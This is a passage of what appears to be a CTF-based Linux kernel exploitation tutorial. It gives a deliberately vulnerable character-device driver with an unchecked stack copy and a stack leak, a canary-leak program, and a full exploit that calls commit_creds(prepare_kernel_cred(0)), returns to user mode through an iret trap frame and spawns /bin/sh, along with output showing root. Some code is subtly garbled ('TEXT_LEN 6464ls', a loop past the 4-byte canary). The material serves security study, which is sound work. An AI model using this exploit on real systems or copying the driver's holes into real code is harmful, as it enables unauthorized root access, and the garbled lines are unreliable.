...
| Code Block | ||||
|---|---|---|---|---|
| ||||
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
MODULE_LICENSE("Dual BSD/GPL");
#define DRIVER_NAME "chardev"
#define BUFFER_SIZE 64
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM = 2;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
static int chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static loff_t chardev_lseek(struct file *, loff_t, int);
struct file_operations chardev_fops = {
.release = chardev_release,
.read = chardev_read,
.write = chardev_write,
.llseek = chardev_lseek,
};
struct data {
unsigned char buffer[BUFFER_SIZE];
};
static int chardev_init(void)
{
int alloc_ret = 0;
int cdev_err = 0;
dev_t dev;
printk("The chardev_init() function has been called.");
alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
if (alloc_ret != 0) {
printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret);
return -1;
}
//Get the major number value in dev.
chardev_major = MAJOR(dev);
dev = MKDEV(chardev_major, MINOR_BASE);
//initialize a cdev structure
cdev_init(&chardev_cdev, &chardev_fops);
chardev_cdev.owner = THIS_MODULE;
//add a char device to the system
cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
if (cdev_err != 0) {
printk(KERN_ERR "cdev_add = %d\n", alloc_ret);
unregister_chrdev_region(dev, MINOR_NUM);
return -1;
}
chardev_class = class_create(THIS_MODULE, "chardev");
if (IS_ERR(chardev_class)) {
printk(KERN_ERR "class_create\n");
cdev_del(&chardev_cdev);
unregister_chrdev_region(dev, MINOR_NUM);
return -1;
}
device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE);
return 0;
}
static void chardev_exit(void)
{
int minor;
dev_t dev = MKDEV(chardev_major, MINOR_BASE);
printk("The chardev_exit() function has been called.");
for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) {
device_destroy(chardev_class, MKDEV(chardev_major, minor));
}
class_destroy(chardev_class);
cdev_del(&chardev_cdev);
unregister_chrdev_region(dev, MINOR_NUM);
}
static int chardev_release(struct inode *inode, struct file *file)
{
printk("The chardev_release() function has been called.");
if (file->private_data) {
kfree(file->private_data);
file->private_data = NULL;
}
return 0;
}
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
char data[BUFFER_SIZE];
printk("The chardev_write() function has been called.");
printk("Before calling the copy_from_user() function : %p",data);
if (_copy_from_user(&data, buf, count) != 0) {
return -EFAULT;
}
/*
if (copy_from_user(&data, buf, count) != 0) {
return -EFAULT;
}
if (__copy_from_user(&data, buf, count) != 0) {
return -EFAULT;
}
*/
printk("After calling the copy_from_user() function : %p",data);
return count;
}
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
char data[BUFFER_SIZE];
printk("The chardev_read() function has been called.\n");
memset(data, 0, sizeof(data));
strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n");
printk("MSG : %s",data);
printk("f_pos : %lld\n",*f_pos);
if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) {
return -EFAULT;
}
return count;
}
static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) {
loff_t new_pos = 0;
printk("The chardev_lseek() function has been called.");
switch(orig) {
case 0 : /*seek set*/
new_pos = offset;
break;
case 1 : /*seek cur*/
new_pos = file->f_pos + offset;
break;
case 2 : /*seek end*/
new_pos = BUFFER_SIZE - offset;
break;
}
if(new_pos > BUFFER_SIZE)
new_pos = BUFFER_SIZE;
if(new_pos < 0)
new_pos = 0;
file->f_pos = new_pos;
return new_pos;
}
module_init(chardev_init);
module_exit(chardev_exit); |
...
| Code Block | ||||
|---|---|---|---|---|
| ||||
//gcc -static -o test test.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; int fd; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } memset (buf, 'A', TEXT_LEN); if (read(fd, buf, TEXT_LEN) < 0){ printf("An error occurred in the read.\n"); }else{ printf("%s\n", buf); } if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
| Code Block | ||||
|---|---|---|---|---|
| ||||
//gcc -static -o leak leak.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#define TEXT_LEN 64
int main()
{
static char buf[512];
char canary[8];
int fd,i,j;
if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
printf("Cannot open /dev/chardev0. Try again later.\n");
}
lseek(fd, 32, SEEK_CUR);
read(fd, buf, TEXT_LEN);
for (i = 0; i < 4; i++)
{
for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
printf(" | ");
for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
printf("\n");
}
memcpy(canary, buf+32,4);
printf("canary is :");
for(i = 0;i < 84;i++){
printf("%02x ",canary[i] & 0xff);
}
printf("\n");
if (close(fd) != 0){
printf("Cannot close.\n");
}
return 0;
} |
...
| Code Block | ||||
|---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o exploit exploit.c
struct trap_frame {
void * eip;
uint32_t cs;
uint32_t eflags;
void * esp;
uint32_t ss;
} __attribute__((packed));
struct trap_frame tf;
void getShell(void) {
execl("/bin/sh", "sh", NULL);
}
void prepare_tf(void) {
asm("pushl %cs; popl tf+4;"
"pushfl; popl tf+8;"
"pushl %esp; popl tf+12;"
"pushl %ss; popl tf+16;");
tf.eip = &getShell ;
tf.esp -= 1024; // unused part of stack
}
void payload(void)
{
commit_creds(prepare_kernel_cred(0));
asm("mov $tf, %esp;"
"iret ;");
}
... |
...
| Code Block | ||
|---|---|---|
| ||
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test5exploit commit_creds address is :0xc1082b60 prepare_kernel_cred address is :0xc1082e20 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 9f 62 5f 66 60 e1 4c f8 90 5f cb f4 a0 bf 0e 08 | ?b_f`?L??_???? 5c 5f cb f4 5f e8 1a c1 90 5f cb f4 40 75 f5 e4 | \_??_???_??@u?? canary is :9f 62 5f 66 # id uid=0(root) gid=0(root) groups=0(root) # |
...
| Code Block | ||||
|---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o exploit exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 6464ls struct trap_frame { void * eip ; // instruction pointer uint32_t cs ; // code segment uint32_t eflags ; // CPU flags void * esp ; // stack pointer uint32_t ss ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("pushl %cs; popl tf+4;" "pushfl; popl tf+8;" "pushl %esp; popl tf+12;" "pushl %ss; popl tf+16;"); tf.eip = &getShell ; tf.esp -= 1024; // unused part of stack } unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov $tf, %esp;" "iret ;"); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p+=3; if(!strcmp(p,str)) return strtoul(addr, NULL, 16); } return 0; } int main() { static char buf[128],rop[128]; char canary[4]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "prepare_kernel_cred()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 32, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canary, buf+32,4); printf("canary is :"); for(i = 0;i < 4;i++){ printf("%02x ",canary[i] & 0xff); } printf("\n"); //Exploit code memset(rop, 'A', 64); memcpy(rop+64, canary, 4); memset(rop+68, 'B', 16); *((void**)(rop+84)) = &payload; prepare_tf(); //Overflow write(fd, rop, 88); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...